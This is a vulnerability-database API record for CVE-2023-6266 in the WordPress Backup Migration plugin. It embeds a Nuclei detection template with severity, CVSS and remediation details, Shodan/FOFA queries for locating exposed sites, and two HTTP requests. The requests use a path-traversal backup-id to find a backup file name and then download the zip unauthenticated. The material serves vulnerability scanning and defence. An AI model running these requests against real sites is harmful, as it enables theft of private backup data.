{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-6266/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-6266/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-6266/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-6266/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-6266/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-6266"},"sightings":{"href":"/api/v1/sightings/cve-2023-6266"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-6266.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-6266\n\ninfo:\n  name: WordPress Backup Migration <= 1.3.6 - Path Traversal\n  author: riteshs4hu\n  severity: high\n  description: |\n    WordPress Backup Migration plugin versions up to 1.3.6 contain a path traversal and file validation issue in handle_downloading function, letting unauthenticated attackers download backup files containing sensitive information.\n  impact: |\n    Attackers can download backup files with sensitive data, leading to data breaches and privacy violations.\n  remediation: |\n    Update to the latest version of the plugin, version 1.3.7 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8c3c04e-c0f9-4f7e-b7e5-3e3e3e3e3e3e\n    - https://patchstack.com/database/vulnerability/backup-backup/wordpress-backup-migration-plugin-1-3-7-unauthenticated-arbitrary-backup-download-vulnerability\n    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L1048\n    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L972\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-6266\n    cwe-id: CWE-552\n    epss-score: 0.02055\n    epss-percentile: 0.80439\n    cpe: cpe:2.3:a:backupbliss:backup_migration:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: backupbliss\n    product: backup_migration\n    framework: wordpress\n    shodan-query: http.html:\"backup-migration\"\n    fofa-query: body=\"backup-migration\"\n  tags: cve,cve2023,wp,wp-plugin,wordpress,backupbliss,backup-migration,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /?backup-migration=BMI_BACKUP&backup-id=../complete_logs.log HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"BM_Backup\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: backupfile\n        part: body\n        regex:\n          - 'BM_Backup_[0-9_-]+_[A-Za-z0-9]+\\.zip'\n        internal: true\n\n  - raw:\n      - |\n        GET /?backup-migration=BMI_BACKUP&backup-id={{backupfile}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/zip\")'\n        condition: and\n# digest: 490a00463044022018dc30786c3ab4c7d26e84fb9a1ebdd4c0340d94a36097e96e7cc60a722e93eb022007b39fa04dbf45af94b2efad5dd9f5d2881ea7cbd88f41e1d61df5f127ddc17b:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-6266"}